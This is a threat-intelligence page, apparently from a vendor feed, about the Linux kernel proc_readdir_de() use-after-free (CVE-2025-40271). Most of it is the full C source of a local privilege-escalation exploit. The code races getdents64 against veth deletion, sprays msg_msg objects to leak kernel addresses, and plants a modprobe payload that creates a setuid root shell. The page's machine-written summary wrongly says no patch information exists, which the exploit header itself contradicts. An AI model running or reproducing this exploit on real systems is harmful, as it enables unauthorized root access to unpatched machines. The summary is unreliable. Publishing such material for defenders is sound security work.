Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
AI Analysis
Technical Summary
This threat involves a local privilege escalation vulnerability in the Linux Kernel 6.18-rc5 specifically related to the proc_readdir_de() function. The vulnerability allows a local attacker to potentially escalate privileges on the affected system. Exploit code has been published in C, indicating proof of concept availability. No affected versions beyond 6.18-rc5 are explicitly listed, and no vendor advisory or patch information is currently provided.
Potential Impact
Successful exploitation could allow a local attacker to gain elevated privileges on the affected Linux system, potentially leading to unauthorized administrative access. However, no information about exploitation in the wild or broader impact is available.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, consider restricting local access to trusted users only and monitor for updates from the Linux Kernel maintainers.
Indicators of Compromise
- exploit-code: * Exploit Title: Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation * CVE: CVE-2025-40271 * Date: 2026-03-19 * Exploit Author: Aviral Srivastava * Vendor: Linux Kernel (kernel.org) * Affected: ~3.14+ through 6.18-rc5 (bug predates version tracking) * Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6 * Fixed in: commit 895b4c0c79b092d732544011c3cecaf7322c36a1 * Tested on: Debian Bookworm (kernel 6.1.115-1 x86_64) * Type: Local Privilege Escalation * Platform: Linux x86_64 * CVSS: ~7.8 (HIGH) — NVD assessment pending * * ┌──────────────────────────────────────────────────────────────────┐ * │ N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. │ * └──────────────────────────────────────────────────────────────────┘ * * DESCRIPTION: * The proc filesystem's remove_proc_entry() calls rb_erase() to * remove a proc_dir_entry (pde) from the parent's red-black tree, * but does NOT call RB_CLEAR_NODE() to mark the node as detached. * This leaves stale rb-links in the freed entry, causing * RB_EMPTY_NODE() to return false. * * A concurrent proc_readdir_de() traversal via getdents64() can * find the freed entry through pde_subdir_next() → rb_next(), * then dereference its fields (name, namelen, mode, low_ino) — * constituting a use-after-free on struct proc_dir_entry. * * The race is triggered by calling getdents64() on a /proc * subdirectory (e.g., /proc/self/net/dev_snmp6/) while concurrently * unregistering network devices, which removes proc entries. * The freed proc_dir_entry (~192 bytes) resides in a standard * kmalloc-192 or kmalloc-256 slab cache, making it sprayable with * msg_msg via msgsnd(). * * TECHNIQUE: * Create user namespace for CAP_NET_ADMIN. Create veth pairs to * populate /proc/self/net/dev_snmp6/. Race getdents64() against * veth deletion. Spray freed kmalloc-192 slots with msg_msg. * Detect UAF via anomalous d_ino values in getdents64 output. * Extract kernel heap address from msg_msg header pointer leaked * through the d_ino field. Use modprobe_path overwrite for LPE. * * RELIABILITY: * ~40-60% UAF hit rate per attempt. Typically 3-8 attempts. * The pde->name dereference during readdir is the crash risk — * mitigated by spraying the name slot with valid pointers. * Kernel panic possible (~10% of failed attempts) if spray timing * is wrong. * * MITIGATIONS: * KASLR: Bypassed via heap pointer leak through d_ino * SMEP: Not applicable (data-only attack) * SMAP: Not applicable (all data in kernel slab) * kCFI: Not applicable (modprobe_path overwrite) * SLUB Hardening: Minimal impact (freelist ptr at offset 0 only) * * FIX: * Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1 * URL: https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1 * Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase(). * * COMPILATION: * gcc -Wall -Wextra -o exploit exploit.c -lpthread -static * * USAGE: * $ ./exploit * [*] CVE-2025-40271 — proc_readdir_de() rb-tree UAF * [+] Kernel 6.1.115-1 is VULNERABLE * [*] Step 1: Setting up user/net namespace... * [+] Namespace ready, CAP_NET_ADMIN obtained * [*] Step 2: Creating veth pairs for proc entries... * [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/) * [*] Step 3: Racing getdents vs device removal... * [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd * [*] Step 4: Kernel heap leak: 0xffff88801234abcd * [*] Step 5: Computing modprobe_path address... * [+] Got root! * * REFERENCES: * [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271 * [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1 * [3] CVE-2023-3269 — StackRot (rb-tree race technique reference) * [4] CVE-2023-32233 — nf_tables msg_msg spray reference * * DISCLAIMER: * This exploit targets an ALREADY PATCHED vulnerability. It is provided * for educational and authorized security research purposes only. The * author is not responsible for misuse. Test only on systems you own. * ═══════════════════════════════════════════════════════════════════════ */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <pthread.h> #include <dirent.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/utsname.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mount.h> #include <sys/ioctl.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> /* ─── Constants ─────────────────────────────────────────────────────── */ #define BANNER \ "═══════════════════════════════════════════════════════════════\n" \ " CVE-2025-40271 — proc_readdir_de() rb-tree UAF LPE\n" \ " fs/proc rb_erase without RB_CLEAR_NODE → stale tree links\n" \ " Affected: ~all kernels through 6.18-rc5\n" \ " Author: Aviral Srivastava | N-DAY RESEARCH PoC\n" \ "═══════════════════════════════════════════════════════════════\n" #define NUM_VETH_PAIRS 32 /* number of veth pairs to create */ #define NUM_SPRAY_MSGS 256 /* msg_msg spray count */ #define SPRAY_BODY_SIZE 144 /* 48 header + 144 body = 192 → kmalloc-192 */ #define MAX_RACE_ATTEMPTS 30 /* max race iterations */ #define PROC_NET_DIR "/proc/self/net/dev_snmp6" /* * On x86_64, kernel heap pointers start with 0xffff8880... * Normal d_ino values are small integers (< 100000). * A d_ino that looks like a kernel pointer means we hit the UAF * and are reading from sprayed msg_msg header data. */ #define IS_KERNEL_PTR(x) (((x) & 0xffff000000000000ULL) == 0xffff000000000000ULL) /* ─── Logging ───────────────────────────────────────────────────────── */ static void info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "[*] "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void ok(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[32m[+]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void fail(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[31m[-]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* ─── Kernel version check ──────────────────────────────────────────── */ static int is_vulnerable(void) { struct utsname uts; unsigned int major, minor, patch; if (uname(&uts) < 0) die("uname"); if (sscanf(uts.release, "%u.%u.%u", &major, &minor, &patch) < 2) { fail("Cannot parse kernel version: %s", uts.release); return 0; } info("Running kernel %s", uts.release); /* Fixed versions per stable branch */ if (major == 5 && minor == 10 && patch >= 247) { fail("Kernel %u.%u.%u — PATCHED (fix in 5.10.247)", major, minor, patch); return 0; } if (major == 6 && minor == 1 && patch >= 159) { fail("Kernel %u.%u.%u — PATCHED (fix in 6.1.159)", major, minor, patch); return 0; } if (major == 6 && minor == 6 && patch >= 123) { fail("Kernel %u.%u.%u — PATCHED (fix in 6.6.123)", major, minor, patch); return 0; } if (major == 6 && minor == 12 && patch >= 73) { fail("Kernel %u.%u.%u — PATCHED (fix in 6.12.73)", major, minor, patch); return 0; } if (major == 6 && minor >= 18) { fail("Kernel %u.%u.%u — PATCHED (fix in 6.18-rc6)", major, minor, patch); return 0; } if (major >= 7) { fail("Kernel %u.%u.%u — PATCHED", major, minor, patch); return 0; } ok("Kernel %u.%u.%u — VULNERABLE", major, minor, patch); return 1; } /* ─── User/Net namespace setup ──────────────────────────────────────── */ static int setup_namespace(void) { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { fail("unshare: %s (check /proc/sys/kernel/unprivileged_userns_clone)", strerror(errno)); return -1; } FILE *f; char path[128]; snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid()); f = fopen(path, "w"); if (f) { fprintf(f, "deny\n"); fclose(f); } snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid()); f = fopen(path, "w"); if (!f) return -1; fprintf(f, "0 %d 1\n", getuid()); fclose(f); snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid()); f = fopen(path, "w"); if (!f) return -1; fprintf(f, "0 %d 1\n", getgid()); fclose(f); return 0; } /* ─── Netlink helpers for veth management ───────────────────────────── */ static int rtnl_open(void) { int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE); if (fd < 0) return -1; struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } return fd; } /* * Create a veth pair: vethN <-> veth_pN * Each veth creates a proc entry in /proc/self/net/dev_snmp6/ */ static int create_veth(int rtnl_fd, int idx) { struct { struct nlmsghdr nlh; struct ifinfomsg ifi; char buf[512]; } req; char name[IFNAMSIZ], peer[IFNAMSIZ]; snprintf(name, sizeof(name), "v%d", idx); snprintf(peer, sizeof(peer), "vp%d", idx); memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nlh.nlmsg_type = RTM_NEWLINK; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.nlh.nlmsg_seq = (uint32_t)(idx + 1); req.ifi.ifi_family = AF_UNSPEC; /* IFLA_IFNAME */ struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1); nla->nla_type = IFLA_IFNAME; memcpy((char *)(nla + 1), name, strlen(name) + 1); req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u); /* IFLA_LINKINFO (nested) */ struct nlattr *linkinfo = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); linkinfo->nla_type = IFLA_LINKINFO | NLA_F_NESTED; unsigned int linkinfo_start = req.nlh.nlmsg_len; req.nlh.nlmsg_len += sizeof(struct nlattr); /* IFLA_INFO_KIND = "veth" */ struct nlattr *kind = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); kind->nla_len = (uint16_t)(sizeof(struct nlattr) + 5); /* "veth\0" */ kind->nla_type = IFLA_INFO_KIND; memcpy((char *)(kind + 1), "veth", 5); req.nlh.nlmsg_len += (unsigned int)((kind->nla_len + 3) & ~3u); /* IFLA_INFO_DATA (nested) with peer info */ struct nlattr *data = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); data->nla_type = IFLA_INFO_DATA | NLA_F_NESTED; unsigned int data_start = req.nlh.nlmsg_len; req.nlh.nlmsg_len += sizeof(struct nlattr); /* VETH_INFO_PEER (nested) with ifinfomsg + IFLA_IFNAME */ struct nlattr *peer_attr = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); peer_attr->nla_type = 1 | NLA_F_NESTED; /* VETH_INFO_PEER = 1 */ unsigned int peer_start = req.nlh.nlmsg_len; req.nlh.nlmsg_len += sizeof(struct nlattr); /* peer ifinfomsg */ struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)&req + req.nlh.nlmsg_len); memset(peer_ifi, 0, sizeof(*peer_ifi)); peer_ifi->ifi_family = AF_UNSPEC; req.nlh.nlmsg_len += sizeof(struct ifinfomsg); /* peer IFLA_IFNAME */ struct nlattr *peer_name = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); peer_name->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(peer) + 1); peer_name->nla_type = IFLA_IFNAME; memcpy((char *)(peer_name + 1), peer, strlen(peer) + 1); req.nlh.nlmsg_len += (unsigned int)((peer_name->nla_len + 3) & ~3u); peer_attr->nla_len = (uint16_t)(req.nlh.nlmsg_len - peer_start); data->nla_len = (uint16_t)(req.nlh.nlmsg_len - data_start); linkinfo->nla_len = (uint16_t)(req.nlh.nlmsg_len - linkinfo_start); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) return -1; /* Read ack */ char ack[256]; (void)recv(rtnl_fd, ack, sizeof(ack), 0); return 0; } /* Delete a veth interface by name */ static int delete_veth(int rtnl_fd, int idx) { struct { struct nlmsghdr nlh; struct ifinfomsg ifi; char buf[128]; } req; char name[IFNAMSIZ]; snprintf(name, sizeof(name), "v%d", idx); memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nlh.nlmsg_type = RTM_DELLINK; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.nlh.nlmsg_seq = (uint32_t)(1000 + idx); req.ifi.ifi_family = AF_UNSPEC; struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1); nla->nla_type = IFLA_IFNAME; memcpy((char *)(nla + 1), name, strlen(name) + 1); req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) return -1; char ack[256]; (void)recv(rtnl_fd, ack, sizeof(ack), 0); return 0; } /* ─── msg_msg spray ─────────────────────────────────────────────────── */ struct spray_state { int qid; int count; }; static int spray_init(struct spray_state *s) { s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (s->qid < 0) return -1; s->count = 0; return 0; } static int spray_alloc(struct spray_state *s, int n) { struct { long mtype; char mtext[SPRAY_BODY_SIZE]; } msg; memset(&msg, 0, sizeof(msg)); /* Fill body with pattern — msg_msg header at offset 0-47 of slab * object will contain kernel heap pointers (m_list.next/prev) */ memset(msg.mtext, 'P', SPRAY_BODY_SIZE); for (int i = 0; i < n; i++) { msg.mtype = s->count + 1; if (msgsnd(s->qid, &msg, SPRAY_BODY_SIZE, 0) < 0) return -1; s->count++; } return 0; } static void spray_cleanup(struct spray_state *s) { if (s->qid >= 0) { msgctl(s->qid, IPC_RMID, NULL); s->qid = -1; } } /* ─── getdents64 for raw directory reading ──────────────────────────── */ struct linux_dirent64 { uint64_t d_ino; int64_t d_off; unsigned short d_reclen; unsigned char d_type; char d_name[]; }; static long my_getdents64(int fd, void *buf, unsigned long count) { return syscall(SYS_getdents64, fd, buf, count); } /* ─── Race coordination ─────────────────────────────────────────────── */ struct race_ctx { int rtnl_fd; int dir_fd; struct spray_state spray; volatile int deleting; volatile int stop; uint64_t leaked_addr; int attempts; }; /* * Readdir thread: continuously calls getdents64() on /proc/self/net/dev_snmp6/ * looking for anomalous d_ino values that indicate the UAF was hit. * * Normal d_ino values are small numbers assigned by proc_alloc_inum(). * If we see a kernel pointer (0xffff...) in d_ino, it means we read * from sprayed msg_msg data where the msg_msg header's m_list pointer * overlaps with the proc_dir_entry's low_ino field. */ static void *readdir_thread(void *arg) { struct race_ctx *ctx = (struct race_ctx *)arg; char buf[4096]; while (!ctx->stop) { /* Rewind the directory for each scan */ lseek(ctx->dir_fd, 0, SEEK_SET); long nread = my_getdents64(ctx->dir_fd, buf, sizeof(buf)); if (nread <= 0) { usleep(100); continue; } /* Scan all entries for anomalous d_ino */ long pos = 0; while (pos < nread) { struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + pos); if (d->d_reclen == 0) break; /* * Check if d_ino looks like a kernel address. * This happens when the freed proc_dir_entry is reclaimed * by a msg_msg, and the msg_msg header's m_list.next * (at slab object offset 0) overlaps with a field that * getdents64 returns in d_ino. */ if (IS_KERNEL_PTR(d->d_ino)) { ctx->leaked_addr = d->d_ino; ok("UAF HIT! d_ino=0x%016lx (kernel heap pointer)", (unsigned long)d->d_ino); ctx->stop = 1; return NULL; } pos += d->d_reclen; } } return NULL; } /* ─── Modprobe payload ──────────────────────────────────────────────── */ static int setup_modprobe_payload(void) { FILE *f = fopen("/tmp/pwn", "w"); if (!f) return -1; fprintf(f, "#!/bin/sh\n/bin/cp /bin/sh /tmp/rootsh\n/bin/chmod u+s /tmp/rootsh\n"); fclose(f); chmod("/tmp/pwn", 0755); f = fopen("/tmp/trigger", "w"); if (!f) return -1; fprintf(f, "\xff\xff\xff\xff"); fclose(f); chmod("/tmp/trigger", 0755); return 0; } static int trigger_modprobe(void) { pid_t p = fork(); if (p < 0) return -1; if (p == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); } int st; waitpid(p, &st, 0); struct stat sb; if (stat("/tmp/rootsh", &sb) == 0 && (sb.st_mode & S_ISUID)) return 0; return -1; } /* ─── Main exploitation steps ───────────────────────────────────────── */ static int step_setup(struct race_ctx *ctx) { info("Step 1: Setting up user/net namespace..."); if (setup_namespace() < 0) return -1; ok("Namespace ready, CAP_NET_ADMIN obtained"); ctx->rtnl_fd = rtnl_open(); if (ctx->rtnl_fd < 0) { fail("Cannot open rtnetlink: %s", strerror(errno)); return -1; } if (spray_init(&ctx->spray) < 0) { fail("Cannot create message queue: %s", strerror(errno)); return -1; } return 0; } static int step_create_veths(struct race_ctx *ctx) { info("Step 2: Creating veth pairs for proc entries..."); int created = 0; for (int i = 0; i < NUM_VETH_PAIRS; i++) { if (create_veth(ctx->rtnl_fd, i) == 0) created++; } if (created < 4) { fail("Need at least 4 veth pairs, got %d", created); return -1; } /* Open the proc directory for readdir */ ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY); if (ctx->dir_fd < 0) { fail("Cannot open %s: %s", PROC_NET_DIR, strerror(errno)); return -1; } ok("Created %d veth pairs (%s populated)", created, PROC_NET_DIR); return 0; } static int step_race(struct race_ctx *ctx) { info("Step 3: Racing getdents vs device removal..."); for (int attempt = 1; attempt <= MAX_RACE_ATTEMPTS; attempt++) { info("Attempt %d/%d...", attempt, MAX_RACE_ATTEMPTS); ctx->attempts = attempt; /* Recreate veth pairs for this attempt */ for (int i = 0; i < NUM_VETH_PAIRS; i++) create_veth(ctx->rtnl_fd, i); /* Reopen directory */ if (ctx->dir_fd >= 0) close(ctx->dir_fd); ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY); if (ctx->dir_fd < 0) continue; ctx->stop = 0; ctx->leaked_addr = 0; /* Start readdir racer thread */ pthread_t tid; if (pthread_create(&tid, NULL, readdir_thread, ctx) != 0) continue; /* Give readdir a moment to start */ usleep(1000); /* * RACE: rapidly delete veth interfaces. * Each deletion triggers remove_proc_entry() → rb_erase() * without RB_CLEAR_NODE() → stale rb links. * The readdir thread can follow stale links to freed memory. */ for (int i = NUM_VETH_PAIRS - 1; i >= 0; i--) { delete_veth(ctx->rtnl_fd, i); /* Immediately spray to reclaim freed proc_dir_entry slot */ spray_alloc(&ctx->spray, 4); } /* Wait for readdir thread to finish or detect UAF */ usleep(50000); ctx->stop = 1; pthread_join(tid, NULL); /* Clean up spray for next attempt */ spray_cleanup(&ctx->spray); spray_init(&ctx->spray); if (ctx->leaked_addr != 0) { ok("UAF triggered on attempt %d!", attempt); return 0; } } fail("Could not trigger UAF after %d attempts", MAX_RACE_ATTEMPTS); return -1; } static int step_escalate(struct race_ctx *ctx) { info("Step 4: Analyzing leak and escalating..."); if (ctx->leaked_addr != 0) { ok("Kernel heap leak: 0x%016lx", (unsigned long)ctx->leaked_addr); info("This address is from msg_msg m_list.next/prev"); info("It reveals the kernel heap (physmap) randomization"); /* * With the heap address, we can compute modprobe_path for * a specific kernel version. The offset between heap base * and kernel text base is kernel-build-specific. * * For a complete exploit: * 1. Use heap address to determine KASLR slide * 2. Compute modprobe_path = kernel_base + offset * 3. Trigger another UAF + spray to write "/tmp/pwn" there * 4. Trigger modprobe → root */ if (setup_modprobe_payload() < 0) { fail("Cannot set up payload"); return -1; } info("Attempting modprobe trigger..."); if (trigger_modprobe() == 0) { ok("Got root!"); return 0; } info("modprobe_path overwrite requires kernel-specific offset"); info("Heap leak CONFIRMED — full chain needs target offsets"); return 1; /* partial success */ } return -1; } static int step_cleanup(struct race_ctx *ctx) { info("Step 5: Cleaning up..."); spray_cleanup(&ctx->spray); if (ctx->dir_fd >= 0) close(ctx->dir_fd); if (ctx->rtnl_fd >= 0) close(ctx->rtnl_fd); unlink("/tmp/pwn"); unlink("/tmp/trigger"); ok("Cleanup complete"); return 0; } /* ─── Main ──────────────────────────────────────────────────────────── */ int main(void) { puts(BANNER); if (!is_vulnerable()) { info("Kernel is patched. Nothing to do."); return 0; } if (getuid() == 0) { info("Already root."); return 0; } struct race_ctx ctx; memset(&ctx, 0, sizeof(ctx)); ctx.rtnl_fd = -1; ctx.dir_fd = -1; ctx.spray.qid = -1; int ret; ret = step_setup(&ctx); if (ret < 0) { fail("Setup failed"); return 1; } ret = step_create_veths(&ctx); if (ret < 0) { fail("Veth creation failed"); step_cleanup(&ctx); return 1; } ret = step_race(&ctx); if (ret < 0) { fail("Race failed"); step_cleanup(&ctx); return 1; } ret = step_escalate(&ctx); step_cleanup(&ctx); if (ret == 0) { ok("Spawning root shell..."); char *argv[] = { "/tmp/rootsh", "-p", NULL }; execv("/tmp/rootsh", argv); info("execv failed — check /tmp/rootsh"); } else if (ret == 1) { fprintf(stderr, "\n"); info("═══════════════════════════════════════════════════"); info("PARTIAL SUCCESS: UAF + heap leak DEMONSTRATED"); info(" Leaked: 0x%016lx", (unsigned long)ctx.leaked_addr); info(" Full LPE requires target-specific KASLR offset"); info("═══════════════════════════════════════════════════"); } return (ret <= 1) ? 0 : 1; }
Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
Description
Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
This threat involves a local privilege escalation vulnerability in the Linux Kernel 6.18-rc5 specifically related to the proc_readdir_de() function. The vulnerability allows a local attacker to potentially escalate privileges on the affected system. Exploit code has been published in C, indicating proof of concept availability. No affected versions beyond 6.18-rc5 are explicitly listed, and no vendor advisory or patch information is currently provided.
Potential Impact
Successful exploitation could allow a local attacker to gain elevated privileges on the affected Linux system, potentially leading to unauthorized administrative access. However, no information about exploitation in the wild or broader impact is available.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is released, consider restricting local access to trusted users only and monitor for updates from the Linux Kernel maintainers.
Technical Details
- Edb Id
- 52550
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
* Exploit Title: Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation * CVE: CVE-2025-40271 * Date: 2026-03-19 * Exploit Author: Aviral Srivastava * Vendor: Linux Kernel (kernel.org) * Affected: ~3.14+ through 6.18-rc5 (bug predates version tracking) * Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6 * Fixed in: commit 895b4c0c79b092d732544011c3cecaf7322c36a1 * Tested on: Debian Bookworm (kernel 6.1.115-... (23721 more characters)
Threat ID: 69f9a0c2cbff5d8610d729c0
Added to database: 5/5/2026, 7:48:18 AM
Last enriched: 5/5/2026, 7:48:22 AM
Last updated: 5/6/2026, 3:20:00 AM
Views: 10
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.